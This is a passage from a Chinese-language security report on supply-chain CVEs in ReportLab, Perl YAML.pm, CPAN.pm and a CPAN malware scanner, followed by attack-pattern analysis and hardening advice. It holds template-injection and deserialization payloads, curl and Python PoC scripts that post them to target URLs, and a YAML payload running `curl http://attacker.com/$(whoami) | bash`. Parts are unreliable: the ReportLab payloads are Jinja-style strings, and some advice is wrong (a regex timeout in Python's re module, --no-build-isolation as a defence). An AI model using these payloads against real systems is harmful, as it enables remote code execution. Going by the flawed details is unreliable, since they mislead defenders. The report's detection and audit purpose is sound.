该漏洞的影响范围极广,因为 ReportLab 被集成到许多企业级文档生成系统中,且 PDF 模板通常来自用户上传或第三方来源。

受影响版本

产品受影响版本修复版本
ReportLab< 3.6.133.6.13

漏洞原理

ReportLab 的 Platypus 框架在处理某些标记(如 {{ }} 模板语法)时,会将用户输入直接传递给 Python eval() 或 exec():

from reportlab.lib.pagesizes import A4
from reportlab.platypus import SimpleDocTemplate, Paragraph

# 恶意模板输入
malicious_input = """
<para>
{{().__class__.__bases__[0].__subclasses__() 
  [137].__init__.__globals__['popen']('id').read()}}
</para>
"""

# 当 Platypus 渲染此模板时触发代码注入
doc = SimpleDocTemplate("output.pdf", pagesize=A4)
doc.build([Paragraph(malicious_input, None)])

HTTP PoC

curl -X POST "http://target-app:3000/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "{{().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[\"popen\"](\"id\").read()}}"
  }' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-33733 ReportLab 代码注入 PoC"""
import sys

def check_reportlab_version():
    print("[*] 检查 ReportLab 版本...")
    try:
        import reportlab
        ver = reportlab.Version
        print(f"  ReportLab: {ver}")
        parts = ver.split(".")
        major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
        if major < 3 or (major == 3 and minor < 6) or \
           (major == 3 and minor == 6 and patch < 13):
            print("  [VULN] 受 CVE-2023-33733 影响!")
            return True
        print("  [SAFE] 已修复")
        return False
    except ImportError:
        print("  [INFO] ReportLab 未安装")
    return False

def demonstrate_code_injection():
    print("\n[*] 演示 ReportLab 代码注入原理...")
    payloads = [
        "{{().__class__.__bases__[0].__subclasses__()}}",
        "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
        "{{''.__class__.__mro__[1].__subclasses__()}}",
    ]
    for i, payload in enumerate(payloads):
        print(f"  Payload #{i+1}: {payload[:80]}...")
    print("  [INFO] 以上 payload 需要通过 ReportLab 模板渲染触发")

def test_remote(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests, urllib3
        urllib3.disable_warnings()
        payload = "{{().__class__.__bases__[0].__subclasses__()}}"
        r = requests.post(
            f"{target_url.rstrip('/')}/api/generate-pdf",
            json={"template": payload, "content": "test"},
            headers={"Content-Type": "application/json"},
            verify=False, timeout=15,
        )
        print(f"  Status: {r.status_code}")
        if r.status_code == 200:
            print(f"  [INFO] 响应: {r.text[:300]}")
    except Exception as e:
        print(f"  [ERR] {e}")

if __name__ == "__main__":
    check_reportlab_version()
    demonstrate_code_injection()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])

Nuclei 检测模板

id: reportlab-code-injection-cve-2023-33733
info:
  name: ReportLab 代码注入 (CVE-2023-33733)
  severity: critical
  tags: python,reportlab,code-injection,cve-2023-33733
  reference:
    - https://github.com/advisories/GHSA-g537-3pm6-63cx

http:
  - method: GET
    path:
      - "{{BaseURL}}/requirements.txt"
      - "{{BaseURL}}/Pipfile.lock"
      - "{{BaseURL}}/setup.py"
    matchers:
      - type: word
        words:
          - "reportlab"
          - "ReportLab"
        condition: or
        part: body

0x04.4 CVE-2023-47152 — Perl YAML 反序列化

漏洞背景

YAML.pm 是 Perl 生态中解析 YAML 格式文件的标准模块。2023 年 11 月披露的反序列化漏洞允许攻击者通过构造恶意 YAML 文件触发 Perl 对象的不安全反序列化,实现远程代码执行。CVSS 评分 7.5。

该漏洞在 Perl Web 应用(如 CGI 脚本、Mojolicious 应用)和 DevOps 自动化工具(如 Ansible 早期版本)中具有较高的实际利用价值。

受影响版本

产品受影响版本修复版本
YAML.pm< 1.321.32

漏洞原理

YAML.pm 在默认配置下允许反序列化 Perl 对象(!!perl/object 标记),攻击者可在 YAML 文档中嵌入恶意对象来触发 DESTROYAUTOLOAD 方法中的代码执行:

use YAML;

# 恶意 YAML payload
my $yaml_data = <<'EOF';
--- !!perl/object:YAML::Tiny
DESTROY: |
  system("curl http://attacker.com/$(whoami) | bash");
EOF

# 反序列化时触发代码执行
my $data = Load($yaml_data);

HTTP PoC

curl -X POST "http://target-perl-app:8080/api/parse-yaml" \
  -H "Content-Type: text/yaml" \
  -d '--- !!perl/object:YAML::Tiny
DESTROY: system("id")' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-47152 Perl YAML 反序列化 PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_malicious_yaml(command="id"):
    payloads = [
        f"""--- !!perl/object:YAML::Tiny
DESTROY: |
  system("{command}");
""",
        f"""--- !!perl/object:YAML::Tiny
AUTOLOAD: |
  system("{command}");
""",
        f"""--- !!perl/object:Hash::Merge
merge: |
  system("{command}");
""",
    ]
    for i, payload in enumerate(payloads):
        print(f"[+] Payload #{i+1}:\n{payload}")
    return payloads

def test_remote(target_url, command="id"):
    print(f"\n[*] 远程测试: {target_url}")
    payloads = create_malicious_yaml(command)
    for i, payload in enumerate(payloads):
        try:
            r = requests.post(
                target_url,
                data=payload,
                headers={"Content-Type": "text/yaml"},
                verify=False, timeout=15,
            )
            body = r.text
            print(f"  Payload #{i+1} | Status: {r.status_code}")
            if "uid=" in body or "gid=" in body:
                print(f"  [VULN] 反序列化 RCE 确认! Response: {body[:200]}")
                return True
            elif r.status_code == 200 and len(body) > 0:
                print(f"  [INFO] 响应: {body[:150]}")
        except Exception as e:
            print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    test_remote(sys.argv[1])

Nuclei 检测模板

id: perl-yaml-deserialization-cve-2023-47152
info:
  name: Perl YAML 反序列化 (CVE-2023-47152)
  severity: high
  tags: perl,yaml,deserialization,cve-2023-47152

http:
  - method: GET
    path:
      - "{{BaseURL}}/META.json"
      - "{{BaseURL}}/Makefile.PL"
    matchers:
      - type: word
        words:
          - "YAML"
          - "YAML::Tiny"
        condition: or
        part: body

0x04.5 CVE-2023-31482 — CPAN 客户端路径注入

漏洞背景

CPAN.pm 是 Perl 的核心包管理客户端,用于从 CPAN 镜像下载和安装 Perl 模块。2023 年 5 月披露的路径注入漏洞允许攻击者通过构造恶意的模块下载 URL 将文件写入文件系统的任意位置。CVSS 评分 8.1。

该漏洞的关键在于 CPAN 客户端在处理模块分发包(distribution)的文件名时,未验证其中是否包含路径分隔符或 .. 组件。

受影响版本

产品受影响版本修复版本
CPAN.pm< 2.352.35

漏洞原理

CPAN 客户端在下载和解压模块分发包时,使用分发包文件名来确定本地存储路径。如果文件名包含 ../,则文件可能被写入到目标目录之外:

use CPAN;

# 恶意 CPAN 分发包 URL
# 文件名: ../../tmp/malicious.pl
# CPAN 客户端将文件写入 /tmp/malicious.pl
my $malicious_url = "http://attacker.com/cpan/../../tmp/malicious.pl";

HTTP PoC

curl -X POST "http://target-perl:8080/api/install-module" \
  -H "Content-Type: application/json" \
  -d '{"module": "../../tmp/evil", "mirror": "http://attacker.com/cpan/"}' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-31482 CPAN 客户端路径注入 PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_path_injection(target_url):
    payloads = [
        {"module": "../../tmp/cve-2023-31482-test", "mirror": "http://attacker.com"},
        {"module": "..%2f..%2ftmp%2fcve-2023-31482", "mirror": "http://attacker.com"},
        {"module": "Foo::Bar", "target_path": "../../../etc/cron.d/evil"},
    ]
    for payload in payloads:
        print(f"[*] Testing payload: {payload}")
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=10,
            )
            print(f"  Status: {r.status_code} | Response: {r.text[:200]}")
        except Exception as e:
            print(f"  [ERR] {e}")

def check_cpan_version():
    print("\n[*] 检查 CPAN 版本...")
    try:
        import subprocess
        result = subprocess.run(
            ["perl", "-MCPAN", "-e", "print $CPAN::Version::VERSION"],
            capture_output=True, text=True, timeout=10
        )
        ver = result.stdout.strip()
        print(f"  CPAN.pm: {ver}")
        if ver and float(ver) < 2.35:
            print("  [VULN] 受 CVE-2023-31482 影响!")
            return True
    except Exception:
        pass
    print("  [INFO] 无法检测 Perl CPAN 版本")
    return False

if __name__ == "__main__":
    check_cpan_version()
    if len(sys.argv) > 1:
        test_path_injection(sys.argv[1])

Nuclei 检测模板

id: cpan-path-injection-cve-2023-31482
info:
  name: CPAN 客户端路径注入 (CVE-2023-31482)
  severity: high
  tags: perl,cpan,path-injection,cve-2023-31482

http:
  - method: GET
    path:
      - "{{BaseURL}}/META.yml"
      - "{{BaseURL}}/META.json"
      - "{{BaseURL}}/Makefile.PL"
    matchers:
      - type: word
        words:
          - "cpanfile"
          - "EUMM"
          - "Module::Build"
        condition: or
        part: body

0x04.6 CVE-2020-16155 — CPAN::MalwareScanner 签名验证绕过

漏洞背景

CPAN::MalwareScanner 是一个用于扫描 CPAN 分发包中潜在恶意代码的 Perl 模块。讽刺的是,该模块自身在 2020 年 9 月被披露存在签名验证绕过漏洞,CVSS 评分 7.5。攻击者可利用此漏洞绕过签名检查,将恶意分发包标记为安全。

该漏洞是典型的"安全工具自身成为攻击面"案例,对依赖该工具进行安全扫描的 CPAN 镜像和构建系统构成直接威胁。

受影响版本

产品受影响版本修复版本
CPAN::MalwareScanner< 1.521.52

漏洞原理

CPAN::MalwareScanner 在验证分发包签名时,未正确检查 GPG 签名的完整性。攻击者可以通过伪造签名头来绕过验证:

use CPAN::MalwareScanner;

# 恶意分发包可能包含伪造的签名
# MalwareScanner 未正确验证签名与内容的绑定
my $scanner = CPAN::MalwareScanner->new();
# 绕过扫描,恶意包被标记为安全

HTTP PoC

curl -X POST "http://target-cpan:8080/api/scan" \
  -H "Content-Type: application/json" \
  -d '{"module": "malicious-distribution", "signature": "fake-gpg-sig"}' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-16155 CPAN::MalwareScanner 签名验证绕过 PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_fake_signature():
    fake_sig = b"""-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAACAAAAAAAAAAAAAAAAAAAAAA==FakeSig
-----END PGP SIGNATURE-----"""
    return fake_sig

def test_signature_bypass(target_url):
    print(f"[*] 测试签名验证绕过: {target_url}")
    fake_sig = create_fake_signature()
    payloads = [
        {
            "module": "Test-Malicious",
            "signature": fake_sig.decode(),
            "tarball_hash": "sha256:0000000000000000000000000000000000000000000000000000000000000000",
        },
        {
            "module": "Test-Malicious",
            "signature": "",
            "verify": False,
        },
    ]
    for payload in payloads:
        print(f"  Testing: signature={'present' if payload.get('signature') else 'absent'}")
        try:
            r = requests.post(
                target_url,
                json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=10,
            )
            print(f"    Status: {r.status_code} | Response: {r.text[:200]}")
            if r.status_code == 200 and "safe" in r.text.lower():
                print(f"    [VULN] 签名验证绕过! 恶意包被标记为安全!")
                return True
        except Exception as e:
            print(f"    [ERR] {e}")
    return False

def check_cpan_malware_scanner():
    print("\n[*] 检查 CPAN::MalwareScanner 版本...")
    try:
        import subprocess
        result = subprocess.run(
            ["perl", "-MCPAN::MalwareScanner",
             "-e", "print $CPAN::MalwareScanner::VERSION"],
            capture_output=True, text=True, timeout=10
        )
        ver = result.stdout.strip()
        if ver:
            print(f"  CPAN::MalwareScanner: {ver}")
            if float(ver) < 1.52:
                print("  [VULN] 受 CVE-2020-16155 影响!")
                return True
    except Exception:
        pass
    print("  [INFO] CPAN::MalwareScanner 未安装或无法检测")
    return False

if __name__ == "__main__":
    check_cpan_malware_scanner()
    if len(sys.argv) > 1:
        test_signature_bypass(sys.argv[1])

Nuclei 检测模板

id: cpan-malwarescanner-sig-bypass-cve-2020-16155
info:
  name: CPAN::MalwareScanner 签名验证绕过 (CVE-2020-16155)
  severity: high
  tags: perl,cpan,malware-scanner,signature-bypass,cve-2020-16155

http:
  - method: GET
    path:
      - "{{BaseURL}}/MISC/CHECKSUMS"
      - "{{BaseURL}}/authors/01mailrc.txt"
    matchers:
      - type: word
        words:
          - "CPAN"
        part: body

0x05 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEGitHub PoCExploit-DBNuclei在野利用
CVE-2020-7598⚠️ 概念验证
CVE-2022-25883
CVE-2023-26136⚠️ 理论可行
CVE-2020-7720⚠️ 理论可行
CVE-2023-45133
CVE-2022-21797⚠️ 概念验证⚠️ 理论可行
CVE-2022-40897⚠️ 理论可行
CVE-2022-21716⚠️ 概念验证⚠️ 理论可行
CVE-2024-3651
CVE-2022-42969⚠️ 理论可行
CVE-2020-8130⚠️ 理论可行
CVE-2022-32224⚠️ 概念验证⚠️ 理论可行
CVE-2024-27281⚠️ 理论可行
CVE-2021-32740⚠️ 概念验证⚠️ 理论可行
CVE-2023-22740⚠️ 理论可行
CVE-2023-33733
CVE-2020-16155⚠️ 理论可行
CVE-2023-47152⚠️ 概念验证⚠️ 理论可行
CVE-2023-31482⚠️ 理论可行

关键 PoC 仓库链接

防守型验证思路

  1. 依赖树分析: 使用 npm auditpip-auditbundle audit 等工具扫描项目依赖树中是否存在受影响版本。
  2. SBOM 生成: 生成 Software Bill of Materials,将每个依赖与 CVE 数据库交叉比对。
  3. 本地 PoC 验证: 在隔离环境(Docker 容器或虚拟机)中运行上述 PoC 脚本,确认漏洞可利用性。
  4. Nuclei 批量扫描: 使用本专题提供的 Nuclei 模板对目标环境进行批量检测。
  5. 供应链风险评估: 评估每个依赖的维护状态、贡献者数量和历史安全记录。

0x06 共性攻击模式分析

模式1:Prototype Pollution → RCE(npm 生态代表)

代表漏洞: CVE-2020-7598、CVE-2023-26136、CVE-2020-7720

攻击链: 攻击者通过输入控制 Object.prototype 的属性 → 污染全局对象 → 劫持 Node.js 内置模块属性(如 child_process.exec)→ 实现远程代码执行。

技术特征:

  • 利用 JavaScript 原型链的动态特性
  • 通常需要结合 Express/Next.js 等 Web 框架的特定配置
  • __proto__constructor.prototype 是两个主要攻击向量

防御要点: 使用 Object.create(null) 创建无原型对象,对用户输入进行深度校验,启用 --disable-proto=throw Node.js 安全选项。

模式2:包元数据代码注入(setup.py / conanfile.py)

代表漏洞: CVE-2022-21797、CVE-2021-32740、CVE-2023-33733

攻击链: 攻击者在包元数据文件(setup.py、conanfile.py)中嵌入恶意代码 → 用户执行 pip installconan install → 构建阶段自动执行恶意代码 → 服务器被控制。

技术特征:

  • 代码在构建/安装阶段执行,隐蔽性高
  • 通常不需要额外的触发条件
  • 影响所有安装该包的项目

防御要点: 使用 pip install --no-build-isolation,在沙箱环境中构建第三方包,启用 pip-audit 持续扫描。

模式3:路径遍历 → 任意文件写入(跨生态通用)

代表漏洞: CVE-2022-25883、CVE-2024-27281、CVE-2023-22740、CVE-2023-31482

攻击链: 攻击者构造包含 ../ 的文件名/路径 → 解压或下载操作将其写入目标目录之外 → 覆盖敏感文件(.bashrc、crontab、SSH 密钥)→ 持久化控制。

技术特征:

  • 在 npm、RubyGems、Conan、CPAN 四个生态中均存在
  • 核心问题是文件路径未规范化
  • CI/CD 环境中影响尤为严重

防御要点: 在解压操作中过滤 .. 路径,使用 chroot 或容器隔离构建环境,启用操作系统的路径规范化。

模式4:正则拒绝服务 → CI/CD 流水线瘫痪

代表漏洞: CVE-2022-40897、CVE-2024-3651、CVE-2022-42969

攻击链: 攻击者构造包含大量重复字符的输入 → 正则引擎陷入灾难性回溯 → CPU 100% 占用 → 构建节点/服务不可用。

技术特征:

  • 难以在 Web 应用防火墙(WAF)层面检测
  • 影响所有使用该正则的下游应用
  • 在 CI/CD 并发场景中可放大攻击效果

防御要点: 使用 re 模块的 timeout 参数限制正则匹配时间,避免使用嵌套量词的正则表达式,对输入长度进行限制。

模式5:反序列化利用链(YAML / Pickle / JSON)

代表漏洞: CVE-2023-47152、CVE-2022-21716

攻击链: 攻击者构造包含恶意对象标记的序列化数据 → 反序列化库自动执行对象的 DESTROY/AUTOLOAD/__reduce__ 方法 → 实现远程代码执行。

技术特征:

  • 跨语言通用的攻击模式
  • Perl(!!perl/object)、Python(!!python/object)、Java(rO0AB)均有类似问题
  • 需要反序列化库支持对象还原功能

防御要点: 禁用反序列化中的对象执行功能,使用安全的替代方案(如 json 替代 yaml.load),对输入数据进行签名验证。


0x07 应急排查与防守建议

紧急排查清单

排查项命令说明
npm 依赖审计npm audit --json扫描 package-lock.json 中的已知漏洞
Python 依赖审计pip-audit扫描 requirements.txt / setup.py 中的已知漏洞
Ruby 依赖审计bundle audit check --update扫描 Gemfile.lock 中的已知漏洞
Perl 模块检查perl -MCPAN -e 'CPAN::Shell->install("M/MI/MIYAGAWA/CPAN-2.35.tar.gz")'检查 CPAN 客户端版本
Conan 配方审计conan inspect <ref>检查 Conan 配方中的可疑操作
SBOM 生成syft dir:.生成完整的软件物料清单

日志关键字段表

生态日志来源关键字段异常特征
npminstall logpkg, version, resolved非官方 registry URL
PyPIpip install logDownloading, Installing异常下载源或包名
RubyGemsbundle install logFetching, Installing非预期 gem 版本
Conanconan install logDownloading, Installing非官方 remote URL
CPANCPAN install logFetching, Unpacking异常镜像源

紧急缓解措施

  1. 锁定依赖版本: 在所有包管理器配置中锁定精确版本号(npm 的 package-lock.json、pip 的 requirements.txt 使用 ==、bundler 的 Gemfile.lock)。
  2. 启用完整性校验: npm 启用 --integrity,pip 使用 --hash,bundler 启用 checksums
  3. 配置私有镜像: 搭建内部包镜像(Verdaccio、devpi、Artifactory),所有外部依赖通过私有镜像代理。
  4. 限制构建权限: CI/CD 构建容器使用非 root 用户,限制网络出站连接,启用 seccomp 沙箱。
  5. 监控异常行为: 部署 EDR 和行为分析工具,监控构建过程中的异常进程创建和网络连接。

长期安全加固建议

  1. SBOM 管理: 建立完整的软件物料清单(SBOM),定期与 CVE 数据库交叉比对。
  2. 依赖审查流程: 引入新依赖前进行安全审查,检查维护状态、贡献者信任度和历史漏洞记录。
  3. 自动化扫描: 在 CI/CD 流水线中集成 npm auditpip-auditbundle audit 和 Nuclei 扫描。
  4. 签名验证: 对所有第三方包启用 GPG 或 Sigstore 签名验证。
  5. 最小依赖原则: 定期清理不再使用的依赖,减少供应链攻击面。
  6. 安全培训: 对开发团队进行供应链安全意识培训,建立安全编码规范。

0x08 参考资料

  1. OWASP Software Supply Chain Security: https://owasp.org/www-project-dependency-check/
  2. NIST SP 800-218 (SSDF): https://csrc.nist.gov/publications/detail/sp/800-218/final
  3. GitHub Advisory Database: https://github.com/advisories
  4. npm Security Best Practices: https://docs.npmjs.com/cli/using-npm/scripts#life-cycle-scripts
  5. Python Packaging Authority (PyPA) - Security: https://packaging.python.org/en/latest/guides/security/
  6. CISA Software Supply Chain Security: https://www.cisa.gov/topics/cyber-threats-and-advisories/defending-against-software-supply-chain-attacks
  7. Sonatype 2024 State of the Software Supply Chain: https://www.sonatype.com/resources/state-of-the-software-supply-chain
  8. Black Hat 2023 - Software Supply Chain Attack Patterns: https://www.blackhat.com/us-23/arsenal/schedule/
  9. ProjectDiscovery Nuclei Templates: https://github.com/projectdiscovery/nuclei-templates
  10. SLSA Framework (Supply-chain Levels for Software Artifacts): https://slsa.dev/